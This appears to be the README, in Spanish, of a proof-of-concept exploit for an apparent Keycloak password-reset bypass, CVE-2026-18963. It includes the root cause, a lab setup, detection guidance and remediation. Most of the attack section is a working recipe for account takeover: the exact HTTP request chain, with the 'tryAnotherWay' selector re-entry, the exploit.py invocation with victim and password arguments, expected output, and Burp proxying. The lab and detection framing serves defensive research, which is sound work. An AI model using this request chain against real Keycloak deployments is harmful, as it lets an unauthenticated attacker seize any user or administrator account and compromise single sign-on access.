
Exploit de prueba de concepto para CVE-2026-18963, un bypass crítico de restablecimiento de credenciales de Keycloak que permite la toma de control de cuentas sin autenticación. Incluye configuración del laboratorio, guía de detección y pasos de remediación para pruebas autorizadas.
Toma de control de cuenta no autenticada en el flujo de reset-credentials de Keycloak. Un atacante que conoce únicamente un nombre de usuario/correo electrónico puede restablecer la contraseña de cualquier usuario — incluidos los administradores — sin recibir nunca el correo de verificación.
Esta prueba de concepto se publica estrictamente con fines educativos, de investigación defensiva, ingeniería de detección y pruebas de seguridad autorizadas.
Consulta DISCLAIMER.md para la declaración completa.
| CVE | CVE-2026-18963 |
| Gravedad | Crítica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Debilidad | CWE-640 — Mecanismo débil de recuperación de contraseña |
| Afectados | Keycloak < 26.7.2 (upstream). También las ramas de compilación de RH corregidas mediante los bundles 26.6.6 / 26.4.15 |
| Corregido | Keycloak 26.7.2 (PR #51844) |
| Condiciones previas | Forgot password (reset credentials) habilitado en el realm — el valor por defecto |
| Impacto | Toma de control total de la cuenta de cualquier usuario (incluidos los administradores del realm) → compromiso del IdP + acceso SSO lateral |
El flujo de restablecimiento de contraseña (reset-credentials) normalmente te obliga a hacer clic en un enlace
enviado por correo al propietario de la cuenta antes de poder establecer una nueva contraseña. Dos defectos permiten a un
atacante omitir esa comprobación por completo:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" sin vincularla al
ID de ejecución. Volver a entrar en el flujo deja la sesión de autenticación en un
estado confuso/obsoleto.ResetCredentialEmail.action() llama
a context.success() sin verificar ACTION_TOKEN_USER_ID (es decir, sin
confirmar que el token de acción enviado por correo se haya consumido realmente).Encadenándolos, se avanza la sesión de autenticación directamente hasta el
paso UPDATE_PASSWORD para un usuario arbitrario, sin necesidad de correo electrónico.
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
Consulta docs/ROOTCAUSE.md para ver el diff del parche anotado.
Necesitas Docker y Python 3 con requests.
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
Cola esperada:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
Luego inicia sesión como victim / Pwned-2026! para confirmar la toma de control.
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
Cada respuesta HTTP se escribe en ./dump/ para su inspección.
Keycloak ya usa 8080, así que apunta el listener de Burp a otro puerto (por ejemplo, 8081):
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
La cadena de solicitudes en bruto para Burp Repeater está en
requests/burp-chain.txt.
Busque un cambio de contraseña que no haya estado precedido por una verificación de correo electrónico en la misma sesión de autenticación:
UPDATE_PASSWORD sin un VERIFY_EMAIL /
EXECUTE_ACTION_TOKEN previo para esa sesión.reset-credentials que llevan tryAnotherWay=on.login-actions/reset-credentials para el mismo tab_id.